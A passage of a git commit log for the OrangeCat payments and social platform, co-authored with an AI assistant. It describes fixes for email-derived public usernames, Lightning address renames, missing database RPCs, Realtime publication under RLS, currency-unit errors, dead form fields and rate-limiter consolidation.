  * a public profile URL   /profiles/<username>
  * a LIGHTNING ADDRESS    <username>@orangecat.ch
    (.well-known/lnurlp, /api/lnurlp/<username>/callback)

A bare rename would silently break saved payment addresses and every
inbound link. Silently: the wallet gets "no such recipient", nobody sees
an error, and the money just does not arrive.

profile_username_history makes a rename safe. The old handle keeps
resolving forever, so a rename changes what a profile is CALLED without
changing what can still find it:

  /profiles/<old>       301s to the new handle (permanentRedirect, so
                        search engines move the entry instead of
                        recording a 404 against the account)
  <old>@orangecat.ch    LNURL resolves through history to the account

Old handles are kept, not expired: a Lightning address someone saved has
no expiry either, and a dangling payment identifier is worse than a stale
row. The primary key is the old handle, so one can never be re-issued to
a second account — that would silently redirect the first person's
payments to somebody else.

Also fixes a live matcher bug on the payment path. resolveLnurlRecipient
used `.ilike('username', handle)`; ilike treats `_` as a
single-character wildcard and `_` is a legal username character. Now that
every newly minted handle is shaped `user_<hex>`, an ilike lookup for
`user_823e4d9d2714` also matches `userX823e4d9d2714`. It now matches
exactly on username_lower, the generated column added in 20260826120000.
The history column is stored lowercase with a CHECK enforcing it, for the
same reason: PostgREST can only filter on columns, so a lower() index
would be unusable and the code would fall back to ilike again.

scripts/rename-email-derived-usernames.sql performs the rename: records
history first (a renamed profile with no history row is a dangling
payment address), then renames, then clears the 13 display names that are
also the email local part — the same leak wearing another label. It is
NOT a migration: it rewrites rows for real accounts, so it is a
deliberate operation someone runs and checks. It documents its own dry
run and is reversible from the history table.

Dry run on production: 75 to rename, 13 names to clear.

npm run verify green; 2373 tests pass, including four new ones covering
the case that matters — a payment sent to a retired handle still reaches
its owner.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 15:22:32 +02:00
9221eeca19 fix(ai): the platform LLM was calling a model that no longer exists (#772)
Found by asking the Cat a real question in production and reading why it
answered with its fallback:

  platform-llm: model call failed  status: 404
  model: llama-3.3-70b-versatile

Groq stopped serving that id. Confirmed against the live API: 14 models
available, and it is not among them.

This was not the Cat's problem. Every callPlatformJson caller returned
null — the offer engine, both writing engines, prompt suggestions,
platform feedback, image suggestions, the voice intent router, and the
Cat. Each is written to "degrade gracefully", so eight features degraded
gracefully into doing nothing, and the log line was a warn.

Three changes, and the id is the least important one.

FAILOVER. resolveProvider returned the FIRST provider whose key existed
and stopped, so a dead Groq id took everything down while OpenRouter sat
configured and unused. It now returns a LIST and the call walks it. The
ordering is unchanged and is not the point — the point is that there is a
second entry at all.

A 404 is now an ERROR, not a warn, and says what it means: the pinned id
has rotted. A model that no longer exists is a configuration fault, not a
hiccup; it will fail identically until a human changes a constant, so it
must not share a log level with a timeout.

check:ai-models asks each provider whether it still serves what we
pinned, reading the ids out of source so the check cannot drift from the
constants. Deliberately NOT in `verify`: it needs the network and a
provider key, and a gate that goes red when an API hiccups is a gate that
gets switched off. It runs where the keys live, and a provider it cannot
ask is reported as SKIPPED on its own line — because the failure mode of
this entire class of check is a skip being mistaken for a pass.

Proven both ways against the live APIs: green on the new id, and red on
the old one with "'llama-3.3-70b-versatile' is NOT served (14 models
available)".

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 12:55:05 +00:00
56df58434b fix(profiles): close the two app-side paths that still minted handles from emails (#770)
The trigger fix (#769) was not enough, and the database said so: after
applying it, count_email_derived_usernames() returned 77, not the 72
measured while writing it. Five accounts had acquired an email-derived
handle in the intervening hour — because profiles are not only created by
the handle_new_user trigger.

Three sites were still deriving the PUBLIC handle from the address:

  services/profile/server.ts   ensureProfile() creates a profile when one
                               is missing, with username = the sanitized
                               email local part. This is the one that was
                               actively minting them.
  useProfileEditor.ts          pre-filled the username FIELD with the
  useProfileWizard.ts          email local part — one Save from publishing
                               it. Only fires on a half-loaded profile
                               (username is NOT NULL), so: a loaded gun
                               with no purpose.

All three now use neutralUsernameFor(userId) or an empty field. The
display-name email fallback goes too — a name quietly set to someone's
email prefix is the same leak wearing another label.

neutralUsernameFor mirrors the SQL in 20260826130000 and says so in both
directions, because two independent creation paths must not disagree
about what a fresh handle looks like.

Also corrects the ratchet baseline 72 -> 77. 72 was measured before the
fix landed; a nightly gate set to it would have failed on its first run —
a gate red about code that is fine, which is the exact habit this ratchet
exists to avoid. 77 is a floor now rather than a moving target: no path
mints these any more.

The class is closed with a test, not a comment: any line in src/ that
mentions a username and splits a string on '@' fails the suite. A comment
would not have caught ensureProfile — nothing did, until the count moved.
Verified by reintroducing the defect and watching the gate name the line.

npm run verify green; 2369 tests pass.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 14:17:52 +02:00
bf373ade2d fix(profiles): stop minting public handles out of people's email addresses (#769)
handle_new_user() set a new profile's PUBLIC username to
split_part(NEW.email, '@', 1), and fell back to the same value for the
display name. /profiles/<username> is served to anyone with no auth and
robots.txt has no /profiles rule, so every signup published its owner's
email local part as a crawlable handle. With a handful of common domains
that reconstructs the address.

Measured on production before this change: 72 of 99 profiles have
username = split_part(email, '@', 1), and /profiles/mao returns 200
unauthenticated. It was reported through OrangeCat's own feedback widget
("the New Message people picker exposes email local-parts as public
usernames") and sat unactioned in the Control queue.

20260818140000 already fixed the worse half — usernames that were the
FULL address — and added a CHECK forbidding '@'. It left the local-part
derivation in place, so this is the same leak one character shorter.

Two forward-only changes:

  username  now derived from the user's id, which carries no personal
            information. Users still pick their own via PUT /api/profile.
  name      no longer falls back to the email local part. NULL is honest
            — the UI already falls back to the username — whereas a
            display name quietly set to someone's email prefix is the
            same leak wearing a different label.

Also fixes a latent signup failure: username is NOT NULL with a unique
index, and ON CONFLICT (id) DO NOTHING does not catch a username
collision, so two users sharing a local part across domains
(mao@a.com, mao@b.com) meant the second signup raised. An id-derived
handle cannot collide.

EXISTING ROWS ARE NOT RENAMED, deliberately. A username is also a
Lightning address (<username>@orangecat.ch — see .well-known/lnurlp and
/api/lnurlp/<username>/callback) and a public profile URL. Renaming the
72 affected accounts would break saved payment addresses and inbound
links for real people. That is a product decision with its own migration
path (opt-in rename, alias retained for lnurlp, 301 on the old profile
URL), not something a schema migration should smuggle in.

The detection half ships with it. count_email_derived_usernames() is a
service_role-only SECURITY DEFINER counter (auth.users is not reachable
through PostgREST), returning a COUNT and never rows — a list of
"profiles whose handle is their email prefix" is exactly what we are
trying not to publish. check-data-invariants.mjs gates on it as a
RATCHET against the known 72: it may fall or hold, never rise. A
zero-check would be red every night about code that is fine, which is
how a fleet learns to ignore its own gates.

npm run verify green.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 14:01:49 +02:00
9036cb3fb2 fix(cat): break the bootstrap deadlock that would have kept @cat inert (#768)
Caught by checking production rather than by reading the code: the queue
had deployed, and the Cat still had no account. Following that through,
it never would have got one.

The circularity: resolveMentions can only flag @cat when a Cat PROFILE
exists, so with no account nothing is ever queued — and the worker called
ensureCatAccount AFTER its empty-queue early return, so an empty queue
established nothing. Nothing queued, so nothing was established, so
nothing queued. A freshly deployed platform would sit there with @cat
resolving to nobody, looking exactly like a working feature that nobody
had used yet.

The worker now establishes the account before it looks at the queue. One
primary-key lookup per tick when it is a no-op, which is every tick after
the first, and the every-minute timer therefore becomes what brings the
Cat into existence.

Second half of the same bug, in the timer: `Persistent=true` only
replays a run MISSED while the machine was down. A timer enabled for the
first time just waits for the next OnCalendar — for a daily timer, up to
24 hours. Production confirmed it: the unit was installed and enabled,
LAST was "-", NEXT was 12 hours away. OnActiveSec=1min makes a freshly
deployed Cat exist within the minute.

Pinned by a test that asserts the ORDERING, not just the call, and proven
by restoring the old arrangement — two tests go red.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 11:52:34 +00:00
57431cbaaa feat(cat): answer @cat in private messages (#767)
Tagging the Cat in a conversation now gets an answer in that
conversation, from the Cat's own account.

The shape is a queue with two payers. The write path records that a
reply is owed and returns, because an LLM round trip must not sit inside
the sender's POST; a worker pays the debt. The systemd timer is the
DURABILITY path rather than the latency path — the write also kicks a
run, so a reply normally lands in seconds, and the tick is what
guarantees the question survives a process dying mid-thought. An
assistant that silently drops a question is worse than one that is slow.

Idempotency is the unique key on (source_type, source_id), which is what
makes an at-least-once producer safe, and 23505 is therefore treated as
success rather than failure. Concurrency is FOR UPDATE SKIP LOCKED
inside claim_cat_mentions, so an inline run overlapping a timer tick
cannot answer the same mention twice. Proven on production with two
concurrent sessions: two mentions seeded, "A claimed: 1", "B claimed: 1",
distinct rows claimed 2 of 2, nothing left pending, scratch table
dropped.

The dedupe key is the MESSAGE id, and the first draft got that wrong. It
fell back to the conversation id when no message id was passed, which
would have meant the first question ever asked in a conversation was the
only one ever answered — every later insert colliding with the unique
constraint and being read as "already queued". The parameter is now
required and the fallback is gone, with a test that fails if it returns.

"@cat what do you think about this?" works because "this" means the
conversation. The Cat reads CAT_CONTEXT_MESSAGE_WINDOW recent messages
of the thread it was tagged in and nothing else — no other conversation,
no history beyond the window. That is a stated product promise about
what tagging consents to, which is why the number lives in config and
not in a query.

The Cat STAYS in the conversation once tagged, so a follow-up needs no
second tag and both people can see it is there, and it can be removed
like any participant. That was one of the two open product calls; it is
recorded here as an assumption and is reversible.

A failure to think is still answered. CAT_FALLBACK_REPLY goes out rather
than nothing, because a tag that produces silence is indistinguishable
from a broken feature, and this codebase has shipped exactly that before.

Layering: parse (pure) -> resolve (one query) -> note (the seam a write
path calls) -> queue (durability) -> worker (dispatch) -> reply
(what it says). Nothing was added to chat-orchestrator.ts or memory.ts,
already 837 and 1062 lines. A new surface gains all of this by calling
noteCatMention.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 11:32:01 +00:00
06772cc506 feat(cat): give the Cat an account, and stop the deploy list from drifting (#766)
The Cat is a real profile rather than a rendering convention, which is
what lets a Cat reply be an ordinary messages or timeline_events row —
read receipts, search, deletion, threading, moderation and realtime all
work on it without a branch. The cost of that is exactly this: something
has to create the row.

ensureCatAccount is idempotent and cheap when it is a no-op (one indexed
lookup), so it is safe on every tick, and running it on a schedule makes
the identity self-healing: @cat is linked wherever it is written, so a
missing profile silently resolves every mention on the platform to
nobody. Daily re-assertion turns that from a support ticket into an
invariant.

The login address is cat@orangecat.invalid, and both halves are
load-bearing. `.invalid` is reserved by RFC 2606 and can never be
delivered to or registered, which matters because an account's email is
its password-reset channel — a bot identity with a routable address is
one somebody can eventually take. There is no password either, so there
is no credential to phish. The local part is what makes the handle `cat`
at all: handle_new_user derives the username from
split_part(email, '@', 1). That trigger is also the answer to why
production contains handles like m.schaupensteiner and butaeff+ocauth2 —
signup derives usernames from email addresses and never sees the
validator.

It recovers from a half-built account rather than assuming a clean slate:
the auth user survives a deleted profile row, so "already registered" is
the expected second run, not a failure. When it genuinely cannot
establish an account it returns null and says so loudly, because a caller
that improvises a sender is worse than one that stays quiet.

Also collapses the deploy script's systemd list, which was written three
times — the scp arguments, the install loop and the enable calls. Adding
a timer meant editing three places, and missing the third shipped a unit
file that never ran: the same silent-failure shape as a cron route
nothing invokes. There is now one array, and every .timer in it is
enabled from that same array.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 11:12:06 +00:00
9852f0c154 fix(messaging): turn realtime on, and delete two functions instead of writing them (#763)
Every live surface in messaging subscribes with postgres_changes, and
postgres_changes only delivers rows for tables in the supabase_realtime
publication. Measured against production: that publication contained
ZERO public tables. The seven it did contain are Realtime's own internal
Broadcast partitions in the `realtime` schema.

So no subscription in the app has ever fired. A new message appears only
when the page refetches; typing and presence never appear at all. No
migration in this repo has ever referenced a publication, so this was
never configured in code.

Publishes the five tables the app actually subscribes to, behind a guard
that refuses any table without RLS enabled. That guard is the safety
argument: Realtime evaluates each subscriber's JWT against the table's
RLS SELECT policy before delivering, so publishing is only safe where a
correct policy exists. All five have one — messages restricts to active
conversation participants — and a sixth table pasted into that list
later cannot leak by being added without a policy. Both guard branches
were fired on the box to prove they refuse.

Replica identity is deliberately left alone. Raising it to FULL would
put whole OLD rows, message bodies included, into the WAL and onto the
wire for delete events; subscribers here only need the key to refetch.

The two missing RPCs are DELETED rather than written. `user_presence` is
keyed by user_id, `typing_indicators` is UNIQUE (conversation_id,
user_id), and both carry RLS policies that already permit exactly the
writes those functions would have made. A SECURITY DEFINER function
there would re-implement an existing check by hand — a privileged
surface bought for nothing. The hooks now upsert directly.

Proven against production under the `authenticated` role, inside
BEGIN ... ROLLBACK so nothing persisted (testing as superuser would
bypass RLS and prove nothing):

  participant: presence upsert ok; typing upserted twice -> 1 row;
               delete -> 0 rows
  outsider:    ERROR new row violates row-level security policy
               for table "typing_indicators"

Also fixes presence claiming a status it never wrote: the old code set
local state before knowing the write landed, so the UI could show
"online" for a user the database had never heard of.

check-rpc-exists baseline is now ZERO — every RPC the app calls has a
migration that creates it.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 10:16:58 +00:00
c78c557d16 fix(timeline): write the function replies and reposts have been calling for 8 months (#762)
createEvent() calls an RPC named `create_timeline_event`. No migration
defines it and production returns PGRST202, so every caller has been
failing: replying to a post, reposting, project events and transaction
events.

The measurement is a natural experiment, because top-level posts go
through `create_post_with_visibility`, which DOES exist, and the two
paths are otherwise identical:

  metadata.is_user_post (working RPC)   newest 2026-08-22  <- 4 days ago
  metadata.is_reply     (missing RPC)   newest 2025-12-14  <- 8 months
  metadata.is_repost    (missing RPC)   newest 2025-12-07  <- 8 months
  event_type project_created            0 rows, ever
  event_type transaction_completed      0 rows, ever

The timeline kept producing events throughout, so nothing looked broken.

Adds the function rather than extending the working one. That one
carries ALL live posting today; widening its signature to take
parent/thread/target/content/amount/quantity/tags would put every
working post at risk in order to repair paths that are already 100%
broken. A new function cannot regress anything — the only code calling
this name is code that fails today. Consolidating them is a safe
follow-up, not part of the repair.

Rate limit, dedup, title fallback and the profile-timeline visibility
row are copied from create_post_with_visibility so the two cannot drift
on what matters. The dedup skips empty bodies, which is what keeps a
repost — no text — from being read as a duplicate. No notifications: the
existing function does not send them either, and handlePostCreationHooks
is still a logging placeholder, so adding them is a product decision.

SECURITY DEFINER suspends the WITH CHECK (auth.uid() = actor_id) policy
that normally guards this table, so the function re-imposes it by hand.
Without that check any authenticated caller could post as anyone else.

Verified against the production schema inside BEGIN ... ROLLBACK, with
nothing persisted: a reply links to its parent and inherits the thread
at depth 1, the visibility row is written, an empty-text repost is not
blocked by dedup, and passing somebody else's id raises Actor mismatch.

PostgREST answers from a cached schema, so a function it has not
reloaded is still PGRST202 to the app — the migration would apply and
the feature would stay dead. `pgrst_ddl_watch` is enabled here and fires
that reload on any DDL; the explicit NOTIFY is belt-and-braces that
costs nothing and drops the dependency on a trigger this repo does not
own.

check-rpc-exists did its job: the new function turned its baseline entry
stale and failed the build until it was removed (3 -> 2). That entry's
reason was also wrong — I had guessed "secondary fallback path" when it
is the only path for four features — and is corrected in place, because
a wrong reason in a baseline is worse than no baseline.

A new test pins the other half of the contract: PostgREST resolves an
RPC by its named arguments, so an undeclared key returns the SAME
PGRST202 as a missing function. It reads both files from disk, and is
proven by renaming an argument.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 09:07:57 +00:00
391f08b801 fix(profiles): count wallets with a function that exists, and gate the class (#760)
The profile page counted a visitor-visible wallet by calling an RPC named
`get_entity_wallets`. That function appears in no migration and returns
PGRST202 in production — it has never existed. The call sat inside a
try/catch whose comment read "if it errs we just show 0", so the error
path was not a fallback, it was the only path, for as long as the code
has been there.

The count is not cosmetic. ProfileLayout hides the Wallets tab from
visitors unless walletCount > 0 or the profile still carries a legacy
bitcoin_address/lightning_address. A profile whose receive methods live
in the modern wallets table therefore showed a visitor no way to pay it.
Confirmed on the live site: testuser123 has an active on-chain wallet and
their public profile offers only Overview / Timeline / Info.

Measured 2026-08-26: 3 of 83 profiles have an active wallet and only 1
has a legacy address, so 2 profiles are affected today. Small only
because wallet adoption is small — it scales with exactly the number we
want to grow, and would have quietly blunted any push to grow it.

Counted through the same admin-client path GET /api/wallets already uses
rather than by writing the missing function. That route's comment states
the intent — "the API is the one public surface, so raw PostgREST can no
longer enumerate balances or other wallet internals" — and a SECURITY
DEFINER function would open a second public surface over a table holding
nwc_connection_uri, a write-only secret. Counting adds no surface: it
returns a number, never a row. Failures are logged rather than swallowed,
so a permanently-broken count cannot hide again.

Asking production which functions PostgREST exposes turned up three more
RPCs that do not exist: update_presence and set_typing_indicator (so
presence and typing indicators are inert), and create_timeline_event on a
fallback branch. Four instances is a class, so check:rpc-exists joins
`verify`: every `.rpc('name')` must have a CREATE FUNCTION in
supabase/migrations. The three remaining are baselined with their
consequence written down — each needs its own migration and design.

The gate is parser-based so CI needs no database, and `--verify` proves
the parser against the live one: 37 called names checked against 80 live
functions, migrations and database agreeing on every one. Proven by
mutation too — re-adding the removed call turns it red.

Its own first run said "RPCs called: 0" and passed. It had reached for
blankNonCode, which blanks string CONTENTS, so it had erased every name
it was looking for — green because blind, the exact failure it exists to
catch. The shared tokenizer now offers blankComments for the case where
the string literal IS the thing you are looking for.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 01:36:23 +00:00
f639f5e769 fix(entities): show the investment's cadence, delete the wallet route we never built (#759)
Two more baselined fields, triaged by "does anything act on it?" rather
than "is it shown?" — and again the answer differed.

`return_frequency` is a stated term of the offer, and the investment card
already renders `expected_return_rate` and `term_months` from the same
section. "12%" paid quarterly and "12%" paid at exit are different
offers; the form has always asked which, and nothing showed the answer.
That half-rendered section is exactly what hid the loan refinance terms
before it. Now rendered, with labels derived from RETURN_FREQUENCIES so
the card cannot drift from the dropdown.

`use_dedicated_wallet` / `dedicated_wallet_address` describe a feature
that was never built: contributions to a wishlist item routing to their
own address instead of the owner's wallet. Unreachable from every
direction — no form field offers them, the wishlist API never maps them
so nothing was ever written, no payment code reads them, and their
guidance copy consequently had no field to attach to either.
wishlist_items holds 0 rows.

Removed rather than rendered, for the reason the guidance copy makes
plain: it promises "contributions go to a dedicated address". That is a
statement about where someone's money goes, and it would not have been
true. The columns stay, so building it later needs no migration.

`fulfillment_type` keeps its baseline entry but not its reason, which
was wrong. It is not debt awaiting a surface: products offer
Manual/Automatic/Digital Delivery, loans offer Manual/Automatic
Deduction, and no code anywhere branches on the value — on products it
merely restates `product_type`, identically in all 11 production rows.
Resolving it means building the mechanism or dropping the option, which
is a product decision, so the truth is written down instead of quietly
rendered.

Dead-field baseline 29 -> 26.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 01:22:51 +00:00
df6edd3c7f fix(wallets): stop dividing a BTC balance by a goal denominated in francs (#758)
A wallet's balance is BTC. Its goal is not: `goal_amount` is denominated
in `goal_currency`, and the wallet form defaults that to fiat. Both
surfaces that drew the progress bar divided one straight into the other:

    const progressPercent = (wallet.balance_btc / wallet.goal_amount) * 100

Measured against production today: 18 of 33 wallets carry a goal, every
one of them in fiat (CHF 11, USD 6, EUR 1), and not one in BTC. So every
savings-goal bar in the app was computed from BTC divided by francs —
including the one on the PUBLIC profile, which is the second copy of the
same expression.

It is invisible right now only because every one of those balances is
still 0.00, and zero over anything is zero. It starts lying on the first
deposit: a wallet holding 0.025 BTC toward a CHF 2 500 goal would have
read "0.001% funded" while sitting at the whole target. That case is
pinned as a test.

Both sides now meet in the goal's own currency before they meet in one
expression, via a single lib/wallet-goal.ts rather than a third inline
copy. When no rate is available the helper returns null instead of a
number: useCurrencyConversion signals a missing rate with 0 precisely so
callers do not guess, and 0 read as a percentage would tell someone they
have saved nothing when they may be fully funded.

Fixing the same line in two files is where the Never-Twice rule says to
automate, so check:currency-units joins `verify`: it fails on arithmetic
between a BTC-suffixed identifier and a bare `*_amount`. Proven by
mutation — restoring the original expression turns it red, and it caught
the naive version of its own scanner on the first run (it stripped only
`//`, and the first thing it read was a block comment describing the
bug). That is why blankNonCode moved to scripts/lib/: one tokenizer, so
a third scanner cannot reinvent the version that already cost a day.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 01:06:41 +00:00
e7f2c09c59 fix(ai): show the assistant term we honour, drop the one we ignore (#757)
Two fields sat side by side in the dead-field baseline as if they were the
same debt. They were opposites.

`free_messages_per_day` is real. checkFreeMessageUsage counts the day's
messages and computeCreatorChargeBtc returns 0 while the allowance lasts —
the visitor simply could not see it before starting a paid conversation.
It now renders beside the price chip.

It renders conditionally, and that is the substance of the change. The
allowance only means anything when the assistant charges: on a free
assistant every message costs nothing whatever the number says, so
"First 50 free each day" would announce a cap that does not exist. The
one live public assistant is exactly that case — pricing_model 'free'
with free_messages_per_day 50. The badge is gated on the same `isFree`
that computeCreatorChargeBtc uses, so the badge cannot disagree with the
bill. Proven by mutation: dropping the guard turns two of the four new
tests red.

`knowledge_base_urls` is not real. Nothing reads it — the chat's own
SELECT never asks for it, no code fetches those URLs, and no form ever
offered an input, so no creator could set it from the product at all.
All 6 production assistants have it empty or null. Removed from the
schema, the API mapping and the form defaults rather than rendered:
"answers from these sources" would have been a claim the system does not
honour, which is worse than the silence. The column stays — dropping it
would be an irreversible migration to delete nothing, and it is where
retrieval would store its sources if that is ever built.

Dead-field baseline 31 -> 29. A field may leave that list by being shown
or by being admitted not to exist; what it must never do is leave by
being displayed as something the system does not actually do.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-26 00:42:24 +00:00
07641ac1da feat(verify): gate that every collected field has a column, and fix two that don't (#756)
check-dead-fields asks "is this field rendered anywhere?". This asks the question
underneath it: "can this field be stored at all?" — the one that let
projects.start_date and projects.target_completion exist as a form field, a Zod
rule, an API mapping and guidance copy with no column behind any of it.

A field with no column is worse than one that displays nowhere. buildUpdatePayload
omits null/undefined, so nothing breaks until a user ACTUALLY FILLS IT IN, and
then PostgREST rejects the entire payload and the whole save fails. The people who
use the feature are the only ones who ever see it break.

It parses supabase/migrations rather than querying the database: CI has no DB
credentials, and a gate that needs the network goes red when the network hiccups,
which is how gates get disabled. The cost is that the parser must be right, so
`--verify` compares every reconstructed table against the LIVE database. It
matched exactly: 14 tables, 366 columns.

MUTATION TESTING FOUND THREE WAYS THIS WENT GREEN WHILE BROKEN

  1. Matching a field name consumed the trailing `(`, and skipping past it meant
     that bracket was never counted. Depth drifted permanently and profileSchema
     reported 2 fields instead of 30.
  2. Stripping comments with a regex ate real code: a validation message reading
     '...URL (e.g., https://example.com)' contains `//`, so the `//`-to-newline
     rule blanked the closing `)` and `}`. projectSchema dropped to 9 fields of
     15 and the injected phantom column passed clean.
  3. Flat matching counted JSONB sub-properties as columns — platform/label/value
     inside social_links — 4 false alarms out of 9 findings. A gate that cries
     wolf gets switched off, so this matters as much as missing a real one.

Fixed with a real left-to-right tokenizer that blanks comments and
string/template/regex contents while preserving length, so every offset and
bracket outside them stays exact. Regex literals are only recognised where one
can legally begin, so division is never mistaken for a regex.

THREE FINDINGS, THREE DIFFERENT VERDICTS

profiles.location_context — REAL, and a privacy defect. It gates
isLocationHidden(), and parseLocationContext('') returns mode 'actual', so the
setting cannot persist and FAILS OPEN: a user chooses "hide my location", the
value is dropped, and their location reads back visible. Migration added.

loans.collateral — NOT a bug. Collateral rows live in public.loan_collateral and
are written through /api/loan-collateral; loanSchema accepts the array so the
create form can submit both together. Added to NOT_COLUMNS with the reason.

wishlist_items.asset_id — a trap. Its siblings product_id and service_id have
columns, indexes and FKs; this one existed only as a schema line, referenced by
no other code, so a client could legitimately send it and have the whole item
payload rejected. Migration completes the trio, mirroring the siblings exactly:
nullable uuid, ON DELETE SET NULL, matching index.

verify: 228 suites, 2279 passed.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-25 19:24:38 +00:00
d1aa73d5d6 fix(projects): show the deadline people are funding toward (#753)
A project is the platform's milestone-accountability entity — the whole reason it
sits between "cause" (no strings) and "loan" (repayment) in the taxonomy is that
someone commits to work by a date. The create form has collected
`target_completion` since the entity existed, the API maps it, guidance copy
explains how to write it, and no surface has ever rendered it. Backers saw the
goal amount and never the deadline attached to it.

Dead-field baseline 32 -> 31.

The cause is a third distinct flavour of this class, worth naming because the
first two fixes would not have found it:

  loans/events   nothing rendered the field
  wishlist       the QUERY did not select it (explicit column allow-list)
  projects       the value ALREADY ARRIVED and the prop type did not declare it

The page fetch is `select('*')` and spreads the whole row into the client
component, so `target_completion` was reaching `ProjectPageClient` the entire
time. What kept it off screen was `interface Project` not listing it — a narrow
prop type hides a wide payload, and the compiler cannot warn about a field it was
never told exists. Fixing it means widening the type, the hand-built object
passed to ProjectSummaryRail, and the rail's own Props: three declarations for
one field, which is the "adding a field touches 3+ files" smell. Left as-is here
rather than reworked, because that is the existing architecture and this change
is about the missing render, not about redesigning prop plumbing.

Rendered in the summary rail, next to goal/raised/supporters — the accountability
facts, which is what a completion date is. Not the timeline component: that is an
activity feed, not a schedule.

`target_completion` is `optionalText`, not a timestamp, so the stored value is
whatever the form wrote. It formats as a date only when it genuinely parses and
otherwise shows the creator's own words ("end of Q3") rather than printing
"Invalid Date" over them. UTC is pinned deliberately — this can render on the
server, which cannot know the reader's timezone, and an unpinned format moves the
date by a day for readers elsewhere.

3 tests. verify: 228 suites, 2279 passed.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-25 17:07:14 +00:00
691b9f1243 fix(entities): show ten more fields users fill in and nothing displayed (#749)
* fix(entities): show ten more fields users fill in and nothing displayed

Second pass on the dead-field baseline: 42 -> 32.

  Event     recurrence rule as one sentence, plus the video link
  Service   delivery mode + service area
  Loan      origination date, maturity date, lender reference
  Wishlist  quantity wanted, "full amount only"

A repeating event rendered identically to a one-off. A service never said
whether it was remote or on-site, or how far the provider travels — the fact
that decides whether a buyer can use it at all. A loan listing could not answer
"how long is left on this?".

Three things worth knowing beyond the diff:

**The wishlist fields were dead because the QUERY never asked for them.**
`WISHLIST_ITEM_COLUMNS` is an explicit select allow-list. Widening the TypeScript
interface without widening that string would have compiled, shipped, and changed
nothing on screen — the optional field type hides the under-selecting query. Both
had to move together.

**The gate rejected three of my thirteen removals, correctly.** days_of_week,
day_of_month and month_of_year are properties of `recurrencePatternSchema` — they
live inside the `recurrence_pattern` JSONB, they are not columns — and the
scanner reads every schema property as top-level. They ARE rendered, via
formatRecurrence, which lives in src/lib because it is a pure helper. Rather than
widen the scan to src/lib (which would let non-render code vouch for a field, the
exact mistake create-templates caused on this checker's first run), they go back
in the baseline with that reason written down. Teaching the scanner that
`X: someSubSchema` makes X the parent is the real fix; one instance does not
justify the machinery.

**Dates are pinned to UTC.** These render on the server, which cannot know the
reader's clock, and an unpinned format moves a maturity date by a day depending
on where it runs. origination/maturity are `optionalText`, not timestamps, so a
value that does not parse falls back to the raw string instead of printing
"Invalid Date" over the user's own input.

Also documents a trap found while testing: PriceDisplay suspends under jsdom with
no Suspense boundary and discards the whole card SILENTLY — no thrown error, so
the assertion fails as "text not found" and reads like a missing render. The
service fixture is deliberately priceless for that reason. Production is fine and
was checked directly, not assumed: the live page for a priced service returns 200
with Price, the amount, and Duration all present.

7 new tests (16 in the file, all green). verify: 226 suites, 2264 passed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* refactor(rate-limit): one limiter, not two — and an ADR that says what happened

`src/features/messaging/lib/rate-limiter.ts` was a second rate limiter with its
own in-memory Map, reached through the features/messaging barrel by the two
/api/messages routes. Messaging therefore counted against a private budget that
nothing else could observe or reset, and could never use the shared backend —
its API was sync, which is precisely what made that impossible.

Consolidated into src/lib/rate-limit.ts:

- ACTION_RATE_LIMITS + rateLimitAction(action, identifier) for limits keyed by
  name rather than request shape. `windowMs` is the single source and the Upstash
  window string is derived from it, so the Redis path and the in-memory fallback
  cannot drift apart.
- rateLimitHeaders(result) returns the header record; applyRateLimitHeaders is
  now implemented on top of it, so the two forms cannot emit different sets.
- The duplicate file and its barrel re-export are deleted. Its unused
  READ_RECEIPT and BULK_OPERATION configs went with it rather than being ported
  forward as speculative surface.

Verified by search: no references to enforceRateLimit, getRateLimitHeaders,
RATE_LIMIT_CONFIGS or checkRateLimit remain in src/ or __tests__/.

ADR-0002 moves Proposed -> Accepted, but rewritten rather than rubber-stamped,
because almost none of its plan survived contact:

  - the second file it named, src/lib/api/rateLimiting.ts, no longer exists — it
    was deleted independently and the duplication it described resolved itself
  - the duplicate that actually mattered, the messaging limiter, is not
    mentioned anywhere in it
  - the src/lib/rate-limit/ DIRECTORY it proposed was never created; the module
    is a file, and renaming it now would touch 129 importers to buy nothing

So for seven months the document was wrong in both directions while the thing it
warned about kept happening somewhere else. That is what a decision left in
Proposed does: it describes the codebase on the day it was written.

Two things recorded as known and deliberately not fixed here:

  - Upstash is NOT configured (absent from .env.local, referenced nowhere in
    .github/ or scripts/), so the live path is the in-memory fallback. On a
